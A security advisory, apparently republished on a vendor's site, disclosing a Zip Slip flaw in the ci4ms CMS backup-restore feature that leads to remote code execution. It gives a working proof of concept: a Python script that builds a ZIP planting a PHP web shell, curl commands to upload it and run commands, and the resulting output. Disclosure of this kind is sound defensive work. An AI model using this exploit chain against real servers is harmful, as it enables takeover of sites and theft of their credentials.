GHSA-xp9f-pvvc-57p4
GHSA-xp9f-pvvc-57p4 is a remote code execution vulnerability in ci4-cms-erp/ci4ms. O3 Security confirms whether GHSA-xp9f-pvvc-57p4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE
Real-World Exposure
ci4-cms-erp/ci4msReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
ci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.
Details
modules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to WRITEPATH . 'uploads/', and if the extension is zip, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:
public function restore()
{
$valData = ([
'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],
]);
if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());
$file = $this->request->getFile('backup_file');
if ($file && $file->isValid() && ! $file->hasMoved()) {
$newName = $file->getRandomName();
$uploadPath = WRITEPATH . 'uploads/';
...
$filePath = WRITEPATH . 'uploads/' . $newName;
$sqlPath = $filePath;
if ($ext === 'zip') {
$zip = new \ZipArchive();
if ($zip->open($filePath) === true) {
$zip->extractTo($uploadPath); // no entry-name validation
$sqlPath = $uploadPath . $zip->getNameIndex(0);
$zip->close();
@unlink($filePath);
}
}
...
}
}
A ZIP containing entries like ../../public/shell.php is extracted outside writable/uploads/ into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.
Routing: modules/Backup/Config/Routes.php binds POST backend/backup/restore to Backup::restore with role=create, and modules/Backup/Config/BackupConfig.php adds backend/backup and backend/backup/* to csrfExcept, so the route accepts cross-site POSTs from an authenticated administrator's browser.
PoC
Build the archive:
python3 -c "
import zipfile
with zipfile.ZipFile('evil.zip','w') as z:
z.writestr('../../public/shell.php', '<?php system(\$_GET[\"c\"]); ?>')
z.writestr('dump.sql', 'SELECT 1;')
"
Submit it as a backup to restore:
curl -i -b 'ci4ms_session=<SESSION_ID>' \
-F '[email protected]' \
https://target.example.com/backend/backup/restore
Trigger the shell:
curl 'https://target.example.com/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
Any ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | ci4-cms-erp/ci4ms | all versions | 0.31.5.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for ci4-cms-erp/ci4ms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update ci4-cms-erp/ci4ms to 0.31.5.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xp9f-pvvc-57p4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xp9f-pvvc-57p4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xp9f-pvvc-57p4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xp9f-pvvc-57p4 in your dependencies?
O3 detects GHSA-xp9f-pvvc-57p4 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.